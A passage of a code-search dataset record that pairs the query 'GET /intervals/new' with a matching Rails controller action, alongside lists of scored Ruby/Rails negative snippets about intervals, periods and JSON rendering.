:close))\n else\n last_attrs = step[:attrs]\n end\n end\n\n # Update started_count\n started_count += step[:opening]\n end\n\n subintervals\n end", "def poll_interval\n interval_level = poll_attempts[:total]/attempts_before_next_interval\n poll_intervals[interval_level] || poll_intervals.last\n end", "def destroy\n @interval = Interval.find(params[:id])\n @interval.destroy\n\n respond_to do |format|\n format.html { redirect_to intervals_url }\n format.json { head :no_content }\n end\n end", "def interval_value\n if interval.parts.is_a? Array\n interval.parts[0][1]\n else\n interval.parts.values[0]\n end\n end", "def index\n @interruptions = Interruption.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @interruptions }\n end\n end", "def index\n periods = current_user.school.periods.all\n\n render json: periods\n end", "def update\n respond_to do |format|\n if @interval.update(interval_params)\n format.html { redirect_to @interval, notice: 'Interval was successfully updated.' }\n format.json { render :show, status: :ok, location: @interval }\n else\n format.html { render :edit }\n format.json { render json: @interval.errors, status: :unprocessable_entity }\n end\n end\n end", "def interval_params\n params.require(:interval).permit(:numerator, :denominator, :description, :name)\n end", "def index\n\n @ipranges = Iprange.all\n\n render json: @ipranges\n\n end", "def index\n ends = End.find_each\n render json: ends\n end", "def get_intervals\n @notes.combination(2).map do |low_voice, high_voice|\n {\n low: low_voice,\n high: high_voice,\n value: high_voice.pitch - low_voice.pitch\n }\n end\n end", "def monitoring_interval\n data[:monitoring_interval]\n end", "def monitoring_interval\n data[:monitoring_interval]\n end", "def destroy\n @interval = Interval.find(params[:id])\n @interval.destroy\n redirect_to(intervals_url)\n end", "def to_a\n result = []\n @intervals.each do |int|\n result << int.to_a\n end\n result\n end", "def boundaries\n [intervals.first[0], intervals.last[1]]\n end", "def fetchInterval(symbol, interval, days=nil, startTime=nil, endTime=nil, eos=true, &block)\n brokerFetchInterval(symbol, interval, days, startTime, endTime, eos, &block)\n end", "def get_report(api_key, client_api_id, interval, query = \"\")\n uri = URI(API_ENDPOINT) + URI.escape(\"?api_key=#{api_key}&client_api_id=#{client_api_id}&interval=#{interval}&query=#{query}\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n request = Net::HTTP::Get.new(uri.request_uri)\n response = http.request(request)\n raise \"Server returned error #{response.code} processing your API request\" if response.code != \"200\"\n JSON.parse(response.body)\nend", "def get_data_for_time_span()\n set_schedule_query_params\n\n @t1 = Time.at(@t1.to_i)\n @t2 = Time.at(@t2.to_i)\n\n @rsrcs = @config.resource_list # ScheduledResource.resource_list\n\n @blockss = ScheduledResource.get_all_blocks(@config, @t1, @t2, @inc)\n\n json_adjustments\n end", "def hours\n render json: Pings::Selector.new.hours(params)\n end", "def intervals(from = nil, to = nil)\n return [] unless intervals_beginning\n \n from ||= intervals_beginning\n to ||= Time.now.beginning_of_next_day\n intervals = []\n \n @intervals.each do |start, stop|\n if from > start\n if stop > from\n stop = to if to < stop\n intervals.push [from, stop]\n end\n next\n elsif stop > to\n intervals.push [start, to] if start < to\n break\n end\n intervals.push([start, stop])\n end\n \n if @started_at && @started_at < to && to == Time.now.beginning_of_next_day\n intervals.push([@started_at, Time.now])\n end\n \n intervals\n end", "def interval ; @options[ :interval ] ; end", "def each_company_onethings(company_id, interval)\n\t\tbegin\n\t url = URI.parse(Rails.application.secrets[:api_endpoints]['onething']['url_indvidual_company'])\n\t\t url_params = {\"comapny_id\" => company_id, \"interval\" => interval}\n\t\t path = \"#{url.path}?#{url_params.collect { |k,v| \"#{k}=#{CGI::escape(v.to_s)}\"}.join('&')}\"\n\t\t request = Net::HTTP::Get.new(path) \n\t\t response = Net::HTTP.start(url.host, url.port, :use_ssl => false, :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http| \n\t\t http.request(request)\n\t\t end \n\t\t json_data = JSON.parse(response.body) rescue nil\n\t\t if !json_data.present?\n\t\t \treturn {}\n\t\t else\n\t\t return json_data\n\t\t end\n\t rescue => e\n\t \treturn {:message => 'Error in fetchng API data. Please try again.'}\t\n\t end\n\tend", "def show\n render json: @iprange \n end", "def opt_l_interval(data)\n if data.first.has_key?(:interval_file)\n i = data.first[:interval_file]\n if (nil != i && \"\" != i && \" \" != i)\n return \"-L #{i} -ip 50\"\n end\n end\n return \"\"\nend", "def index\n @timers = Timer.all\n\n render json: @timers\n end", "def interval=(_arg0); end", "def get_interval_id(time)\n (time.to_i / interval) * interval\n end", "def index\n date_range = unix_date(params[:date])\n @timeslots = Timeslot.where('start_time >= ? and start_time <= ?', date_range[:beginning_of_day], date_range[:end_of_day])\n # render :json => @timeslots.as_json(only: [])\n end", "def index\n streaks = Streak.active.all\n render_jsonapi(streaks)\n end", "def company_onethings(start_date,period,interval)\n\t\tbegin\n\t url = URI.parse(Rails.application.secrets[:api_endpoints]['onething']['url_all_company'])\n\t\t url_params = {\"period\" => period, \"start_date\" => start_date, \"interval\" => interval}\n\t\t path = \"#{url.path}?#{url_params.collect { |k,v| \"#{k}=#{CGI::escape(v.to_s)}\"}.join('&')}\"\n\t\t request = Net::HTTP::Get.new(path) \n\t\t response = Net::HTTP.start(url.host, url.port, :use_ssl => false, :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http| \n\t\t http.request(request)\n\t\t end \n\t\t json_data = JSON.parse(response.body) rescue nil\n\t\t if !json_data.present?\n\t\t \treturn {}\n\t\t else\n\t\t return json_data\n\t\t end\n\t rescue => e\n\t \treturn {:message => 'Error in fetchng API data. Please try again.'}\t\n\t end\n\tend", "def updateRecordsInterval\n @temps = []\n temps_from_db = Temp.last(1152)\n\n temps_from_db.each do |record|\n if record.id % 6 == 0\n @temps << record\n # puts record.id\n end\n end\n render json: @temps\n end", "def index\n @events = Event.where(start: params[:start]..params[:end])\n render json: @events\n end", "def get_periods\n @periods = current_user.periods.all.order(created_at: :desc)\n render json: @periods\n end", "def destroy\n @interval.destroy\n respond_to do |format|\n format.html { redirect_to intervals_url, notice: 'Interval was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def test_unbounded_range\n header 'Range', 'id ..'\n\n get '/'\n json_response = JSON.parse(last_response.body)\n\n assert last_response.ok?\n assert_equal Array, json_response.class\n assert_equal 200, json_response.count\n assert_equal 1, json_response.first['id']\n assert_equal 200, json_response.last['id']\n end", "def start_end(interval = self.class.interval)\n {\n start: (timestamp.at_end_of_day + 1.second - interval).at_beginning_of_day.utc,\n end: timestamp.at_end_of_day.utc\n }\n end", "def parse_interval_samples\n interval_samples = Array.new\n headers_index = @_interval_sample_index\n headers = @data[headers_index].map!(&:underscore)\n data_index = headers_index + 1\n @data[data_index,@data.size].map.with_index do |r,i|\n if r.empty?\n break\n else\n zipped = headers.zip(@data[data_index + i])\n s = WFCSVWorkoutIntervalSample.new\n Hash[zipped].map { |k,v|\n s.instance_variable_set(\"@#{k}\",v)\n }\n end\n interval_samples.push(s)\n end\n return interval_samples\n end", "def perform_in(interval, *args); end", "def perform_in(interval, *args); end", "def show\n render json: @heartbeat\n end", "def range\n #@lines = Line.where(:no=> params[:id])\n line_range = params[:id].split(\"-\")\n @stanzas = Stanza.where(:section_id=>line_range[0]..line_range[2],:runningno=>line_range[1]..line_range[3]).order('no')\n lines = Array.new\n @stanzas.each {|s| lines << s.cached_lines }\n respond_to do |format|\n format.html #range.html.erb\n format.json {render :json => lines.to_json(:only =>[:line, :stanza_id],:methods=>[:section,:runningno,:share_url,:no])}\n end\n end", "def interval=(new_interval)\n @interval = new_interval\n self[Incident.interval_predicate] = new_interval.uri\n end", "def index\n jobs = Job.all.map do |job|\n { title: job.title, timerange: job.timerange }\n end\n \n render json: { results: jobs }.to_json, status: :ok\n end", "def missing_intervals(collected_intervals, desired_intervals)\n res = []\n\n collected_intervals.sort! do |x, y|\n if x.first > y.first\n 1\n elsif x.first < y.first\n -1\n end\n end\n\n prev = 0\n temp_arr = []\n\n collected_intervals.each do |duple| \n # p duple\n first = duple[0]\n last = duple[1]\n\n if temp_arr.empty?\n if first == desired_intervals[0]\n temp_arr = [last]\n elsif last > desired_intervals[0] && desired_intervals[0] > first\n temp_arr = [last]\n \n elsif last > desired_intervals[0] && first > desired_intervals[0]\n temp_arr = [desired_intervals[0], first]\n res.push(temp_arr)\n temp_arr = [last]\n end\n next\n end\n\n # between\n if desired_intervals[1] == last\n temp_arr.push(first)\n res.push(temp_arr)\n break\n elsif desired_intervals[1] < first && desired_intervals[1] < last\n temp_arr.push(desired_intervals[1])\n res.push(temp_arr)\n break\n else\n temp_arr.push(first)\n res.push(temp_arr)\n temp_arr = [last]\n end\n\n end\n\n res\nend", "def interval\n config_get('bfd_global', 'interval', @get_args)\n end", "def annotations\n @annotations ||= Annotation.new :interval_id => self.id\n end", "def show\n @interruption = Interruption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @interruption }\n end\n end", "def show\n @salary_range = SalaryRange.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @salary_range }\n end\n end", "def parse_log\n # We save data for the current interval, by request type,\n # as well as all requests ('ALL')\n # Data is recorded for each interval, as well as for the\n # entire period of 'peak' load\n\n fl = open(@file_path)\n batch = {}\n interval_start_ts = nil\n interval_end_ts = nil\n until fl.eof?\n ln = fl.readline\n metrics = extract_line_metrics(ln)\n next unless metrics\n this_ts = metrics[0]\n label = metrics[1]\n\n # init interval_end_ts on very first line that we see but\n # align it in epoch time, to make alignment with\n # data from other load generator nodes easy\n unless interval_end_ts\n interval_start_ts = this_ts - this_ts.modulo(@interval_s)\n interval_end_ts = interval_start_ts + @interval_s\n end\n\n # initialize results object\n unless batch.key?(label)\n # init the batch for this time window\n batch[label] = get_batch_hash(interval_start_ts, interval_end_ts)\n unless batch.key?('ALL')\n # init the batch for all requests in this window\n batch['ALL'] = get_batch_hash(interval_start_ts, interval_end_ts)\n end\n end\n # record this request to @intervals_data\n set_metrics(metrics, batch)\n\n if this_ts >= interval_end_ts || fl.eof\n # intervals are keyed by the epoch time at the start of the interval\n @intervals_data[interval_start_ts] = batch\n # set the next interval window, init the next batch of data\n interval_start_ts = interval_end_ts\n interval_end_ts += @interval_s\n batch = {}\n end\n end\n peak_data = create_reports\n return @intervals_data, peak_data\n end", "def range\n #@lines = Line.where(:no=> params[:id])\n line_range = params[:id].split(\"-\")\n @lines = Line.where(:no=>line_range[0]..line_range[1])\n line_op = Hash.new\n respond_to do |format|\n format.html #range.html.erb\n #format.json { render json: @lines }\n format.json {render :json => @lines.to_json(:only =>[:line, :stanza_id],:methods=>[:section,:runningno,:share_url])}\n #format.json {render :json => {:lines => @lines, :marker => line_op }}\n end\n end", "def interval=(val)\n attribute_set(:interval,val.kind_of?(Numeric) ? val : INTERVALS_MAP[val.to_s])\n end", "def show\n @arrival_range = ArrivalRange.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @arrival_range }\n end\n end", "def list_endpoints\n render json: @endpoints, status: 200\n end", "def show\n period = current_user.school.periods.find(params[:id])\n render json: period\n end", "def index\n respond_to do |format|\n format.html\n format.json { render json: IntervalsDatatable.new(view_context) }\n end\n end", "def merge_intervals(intervals)\n return [] if intervals.empty?\n # sort the intervals with regard to the start\n # we have the biggest chance to merge the next interval in the current if it is close enough\n\n # this can be implemented in NLogN\n merged_intervals = []\n\n sorted_start_intervals = intervals.sort { |a, b| a[0] <=> b[0] }\n current_interval = intervals[0]\n\n sorted_start_intervals[1...].each do |interval|\n if current_interval[1] >= interval[0]\n current_interval[1] = [interval[1], current_interval[1]].max\n else\n merged_intervals << current_interval\n current_interval = interval\n end\n end\n\n return merged_intervals << current_interval\nend", "def get_set(start, finish, interval)\n cur_val = start; result = []\n while(cur_val < finish)\n result << cur_val\n cur_val += interval\n end\n result\n end", "def index\n @schedules = Schedule.where(start: params[:start]..params[:end])\n end", "def show\n render json: @timer\n end", "def print_tasks_in_interval\n tasks = retrieve_tasks\n @values[:result] = Array.new()\n print_tasks_to_key(tasks[:during])\n end", "def index\n @time_periods = TimePeriod.all\n end", "def index\n @sightings = Sighting.where(date: params[:start_date]..params[:end_date])\n render json: @sightings\n end", "def index\n @registration_periods = RegistrationPeriod.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @registration_periods }\n end\n end", "def index\n @arrival_ranges = ArrivalRange.find(:all, :order => \"position ASC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @arrival_ranges }\n end\n end", "def brokerFetchInterval(symbol, \n interval=nil,\n days=nil, \n startTime=nil, \n endTime=nil, eos=true, &block)\n puts \"brokerFetchInterval() for %s\" % symbol\n soc = dtnsoc\n if days\n soc.puts [HID, symbol, interval, days, nil, nil, nil, 1].join ','\n elsif startTime and endTime\n cmd = [HIT, symbol, interval,\n startTime.strftime(FDT), \n endTime.strftime(FDT), \n nil, # reserved\n nil, nil, # begin and end filter time\n 1].join ','\n puts \"Time %s to %s, cmd = %s\" % [startTime, endTime, cmd]\n soc.puts cmd\n else # parameter problem\n raise IQFeedException.new(\"Parameter Error. Either days or start/end time must be given\")\n end\n getResponse(soc) { |d|\n block.(d.map { |r|\n h = Hash[r.zip(@@HIST).map { |v, (sym, func)| [sym, func.(v)]}]\n h[:symbol] = symbol.to_sym\n h = h.to_eos if eos\n h\n }) \n }\n end", "def get_inactive_periods\n @periods = current_user.periods.where(is_active: false).order(created_at: :desc)\n render json: @periods\n end", "def incident_list(statuspage_id)\n request :method => :get,\n :url => @url + 'incident/list/' + statuspage_id\n end", "def merge_intervals(intervals)\n intervals.sort_by!(&:start)\n\n merged = []\n\n intervals.each do |interval|\n if merged.empty?\n merged << interval\n elsif merged.last.end >= interval.start\n merged.last.end = [merged.last.end, interval.end].max\n else\n merged << interval\n end\n end\n\n merged\nend", "def index\n authorize! :show, @sensor\n set_filter_dates\n set_granularity\n @records = @sensor.records.where(granularity: @granularity, created_at: @from..@to)\n\n respond_to do |format|\n format.html\n format.json { render json: @records }\n end\n end", "def show\n @period = Period.find(params[:id])\n\n render json: @period\n end", "def current_interval_id\n get_interval_id(time_to_redis(Time.now))\n end", "def index\n @terminate_points = TerminatePoint.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @terminate_points }\n end\n end" ]
[ "0.80088484", "0.6778432", "0.6346739", "0.63318133", "0.6281635", "0.62257814", "0.6077866", "0.6046728", "0.60460895", "0.6005589", "0.5893589", "0.5859223", "0.58526427", "0.5831104", "0.5824255", "0.5784098", "0.5742841", "0.5730703", "0.5706181", "0.564695", "0.5617343", "0.5588893", "0.55735916", "0.5513804", "0.55047965", "0.55047965", "0.5502712", "0.5499676", "0.54862106", "0.5482983", "0.5475051", "0.54715097", "0.5438852", "0.5417788", "0.5399949", "0.53648895", "0.5341344", "0.5336588", "0.5306343", "0.5306343", "0.5298759", "0.5290897", "0.52821624", "0.52650094", "0.5258887", "0.52394223", "0.5226019", "0.52156234", "0.5215321", "0.5211747", "0.5200667", "0.5187772", "0.517815", "0.5112456", "0.5109375", "0.508962", "0.50614727", "0.50374585", "0.5017362", "0.5014187", "0.49860665", "0.49828482", "0.4972731", "0.49699607", "0.49693817", "0.49563774", "0.49563774", "0.49460697", "0.49450445", "0.49398112", "0.4935087", "0.49257302", "0.49255362", "0.49253693", "0.49243104", "0.49229532", "0.4915001", "0.49141163", "0.49113002", "0.48967505", "0.48960158", "0.48901668", "0.4885553", "0.4884741", "0.4881443", "0.486617", "0.48651633", "0.48643336", "0.4859822", "0.48556256", "0.48518896", "0.48492584", "0.48466486", "0.48264268", "0.48244947", "0.4822609", "0.48216677", "0.48158497", "0.48157087", "0.48133102" ]
0.7081861
1
GET /intervals/new GET /intervals/new.json
def new @interval = Interval.new respond_to do |format| format.html # new.html.erb format.json { render json: @interval } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @interval = Interval.new(params[:interval])\n\n respond_to do |format|\n if @interval.save\n format.html { redirect_to @interval, notice: 'Interval was successfully created.' }\n format.json { render json: @interval, status: :created, location: @interval }\n else\n format.html { render action: \"new\" }\n format.json { render json: @interval.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @interval = Interval.new(interval_params)\n\n respond_to do |format|\n if @interval.save\n format.html { redirect_to @interval, notice: 'Interval was successfully created.' }\n format.json { render :show, status: :created, location: @interval }\n else\n format.html { render :new }\n format.json { render json: @interval.errors, status: :unprocessable_entity }\n end\n end\n end", "def intervals\n rest.get instrument_path('activeIntervals')\n end", "def new\n @arrival_range = ArrivalRange.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @arrival_range }\n end\n end", "def show\n @interval = Interval.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @interval }\n end\n end", "def new\n @collect_hour = range_format((0..23))\n @collect_minute = range_format((0..59))\n @schedule = Schedule.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @schedule }\n end\n end", "def new\n @threshold = Threshold.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @threshold }\n end\n end", "def new\n @salary_range = SalaryRange.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @salary_range }\n end\n end", "def new\n @time_gap = TimeGap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @time_gap }\n end\n end", "def create\n @stock_interval = StockInterval.new(stock_interval_params)\n\n respond_to do |format|\n if @stock_interval.save\n format.html { redirect_to @stock_interval, notice: 'Stock interval was successfully created.' }\n format.json { render action: 'show', status: :created, location: @stock_interval }\n else\n format.html { render action: 'new' }\n format.json { render json: @stock_interval.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @heartbeat = Heartbeat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @heartbeat }\n end\n end", "def set_interval\n @interval = Interval.find(params[:id])\n end", "def create\n @interval_constraint = IntervalConstraint.new(interval_constraint_params)\n\n respond_to do |format|\n if @interval_constraint.save\n format.html { redirect_to @interval_constraint, notice: 'Interval constraint was successfully created.' }\n format.json { render :show, status: :created, location: @interval_constraint }\n else\n format.html { render :new }\n format.json { render json: @interval_constraint.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n Interval.find(params[:id])\n end", "def new\n @interruption = Interruption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interruption }\n end\n end", "def new\n @time_slot = TimeSlot.new\n @recurrence_array = []\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @time_slot }\n end\n end", "def new\n @title = \"New Resources Periods\"\n @resource_period = ResourcePeriod.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @resource_period }\n end\n end", "def new\n @integral = Integral.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @integral }\n end\n end", "def new\n @interest = Interest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interest }\n end\n end", "def new\n @interest = Interest.new\n\n respond_to do |format|\n format.json { render json: @interest }\n end\n end", "def new\n @time = Time.now\n @sys_op = SysOp.new(:start_time_column => :@time)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sys_op }\n end\n end", "def new\n @interest = Interest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @interest }\n end\n end", "def new\n @island = Island.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @island }\n end\n end", "def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @time_frame }\n end\n end", "def new\n @incident = Incident.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @incident }\n end\n end", "def initialize(intervals)\n @intervals = Utils::Ring.wrap(intervals)\n end", "def new\n @sleep = Sleep.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @sleep }\n end\n end", "def new\n @time_section = TimeSection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @time_section }\n end\n end", "def new\n @atom.hours = 24\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @atom }\n end\n end", "def new\n @tb_period = TbPeriod.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tb_period }\n end\n end", "def new\n @interest_area = InterestArea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interest_area }\n end\n end", "def new\n @workday = Workday.new\n 2.times do\n @workday.periods.build\n end\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @workday }\n end\n end", "def new\n @routine = Routine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @routine }\n end\n end", "def new\n unless r = params['reservation-times'] || session['reservation-times']\n return select_times_first\n end\n resource_id = r.keys.first\n sll_times = r[resource_id] \n return select_times_first if sll_times.blank?\n\n @reservation = Reservation.new({ \n :start_datetime => Time.parse(sll_times.first), \n :end_datetime => Time.parse(sll_times.last) + 1.hour,\n :resource_id => resource_id\n })\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end", "def new\n @task_changes = TaskChange.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task_changes }\n end\n end", "def new\n @shift = Shift.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shift }\n end\n end", "def new\n @issue = Issue.new\n\n @new = true\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @issue }\n end\n end", "def new\n @nursing_time = NursingTime.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nursing_time }\n end\n end", "def new\n @planned_time = PlannedTime.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @planned_time }\n end\n end", "def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @registration_period }\n end\n end", "def new\n @historical = Historical.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @historical }\n end\n end", "def new\n @new_status = NewStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_status }\n end\n end", "def new\n @template_shift = TemplateShift.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @template_shift }\n end\n end", "def new\n @basis = Base.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @basis }\n end\n end", "def new\n @lease = Lease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @lease }\n end\n end", "def new\n @range_specification = RangeSpecification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @range_specification }\n end\n end", "def new\n @gauge = Gauge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gauge }\n end\n end", "def new\n @intake = Intake.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @intake }\n end\n end", "def new\n @panic_alarm = PanicAlarm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @panic_alarm }\n end\n end", "def new\n @observation = Observation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @observation }\n end\n end", "def new\n @observation = Observation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @observation }\n end\n end", "def new\n @arrival = Arrival.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @arrival }\n end\n end", "def new\n @arrival = Arrival.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @arrival }\n end\n end", "def new\n authorize! :create, @binder\n \n @maintenance_item = MaintenanceItem.new(\n binder_id: @binder.id, \n created_by: current_user.id, \n interval: 1, \n maintenance_cycle_id: MaintenanceCycle.where(:name => 'Years').first.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @maintenance_item }\n format.js\n end\n end", "def new\n @holding = Holding.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @holding }\n end\n end", "def new\n @holding = Holding.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @holding }\n end\n end", "def new\n @timetable = Timetable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @timetable }\n end\n end", "def new\n @slot = Slot.new\n\n @slots = Slot.opening_hours.where(:company_id => current_user.company.id)\n @available_days = get_available_days(@slots)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slot }\n end\n end", "def new\n @quantile_period = QuantilePeriod.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quantile_period }\n end\n end", "def new\n @curve = Curve.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @curve }\n end\n end", "def new\n @offset = Offset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offset }\n end\n end", "def new\n @round = Round.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @round }\n end\n end", "def new\n \n #timestamp={{FellAsleepAt}}&total_sleep={{TotalTimeSleptInSeconds}}&deep={{TimeInDeepSleepSeconds}}&light={{TimeInLightSleepSeconds}}&awake={{TimeAwakeSeconds}}\n \n json_hash = Hash.new\n \n @sleep = json_hash\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sleep }\n end\n end", "def new\n @offset_time = OffsetTime.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offset_time }\n end\n end", "def new\n @schedule = Schedule.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @schedule }\n end\n end", "def new\n @task_metric = TaskMetric.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @task_metric }\n end\n end", "def interval_params\n params.require(:interval).permit(:numerator, :denominator, :description, :name)\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @interest }\n end\n end", "def new\n if current_user.access == 2\n redirect_to \"/users/indexU\"\n end\n @timetable = Timetable.new\n puts @timetable.to_json\n end", "def new\n @breadcrumb = 'create'\n @insurance = Insurance.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @insurance }\n end\n end", "def new\n @inning = Inning.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @inning }\n end\n end", "def interval=(new_interval)\n @interval = new_interval\n self[Incident.interval_predicate] = new_interval.uri\n end", "def new\n @polling_session = PollingSession.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @polling_session }\n end\n end", "def get_all_new\n uri = [@@base_uri, 'all', 'getAllNew'].join('/')\n return get(uri)\n end", "def index\n @stock_intervals = StockInterval.all\n end", "def new\n\t\n\t@timetable = Timetable.new\n\t\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @timetable }\n end\n end", "def new\n @objective = Objective.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @objective }\n end\n end", "def new\n @schedule = Schedule.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @schedule }\n end\n end", "def new\n @poll = Poll.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @poll }\n end\n end", "def new\n @poll = Poll.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @poll }\n end\n end", "def new\n @time_point = TimePoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @time_point }\n end\n end", "def new\n @simulation = Simulation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @simulation }\n end\n end", "def new\n @schedule = Schedule.new\n @client_branches = ClientBranch.where(:client_id => 0)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @schedule }\n end\n end", "def new(options) \n Client.get(\"/patterns/new\", :query => options)\n end", "def new\n @alert = Alert.new\n @selected = params[:alert_ids]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @alert }\n end\n end", "def new\n @title = \"Create a New Training Session\"\n session[:interval_order] = nil\n @trainingsession = Trainingsession.new\n @trainingsession.interval.build\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @trainingsession }\n end\n end", "def new\n @stopover = Stopover.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stopover }\n end\n end", "def new\n @sampled_url = SampledUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sampled_url }\n end\n end", "def new\n @stop_time = StopTime.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stop_time }\n end\n end", "def new\n @timeentry = Timeentry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @timeentry }\n end\n end", "def new\n @time_entry = TimeEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @time_entry }\n end\n end", "def new\n @time_entry = TimeEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @time_entry }\n end\n end", "def new\n @time_entry = TimeEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @time_entry }\n end\n end", "def new\n @substrate = Substrate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @substrate }\n end\n end", "def new\n return if auth(\"website_administrator\")\n @incident = Incident.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @incident }\n end\n end", "def new\n @stop = Stop.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stop }\n end\n end", "def new\n @incident_kind = IncidentKind.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @incident_kind }\n end\n end", "def new\n @lookup = Lookup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lookup }\n end\n end", "def new\n @task = Task.new\n # tasks_counts\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end", "def new\n @get = Get.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @get }\n end\n end" ]
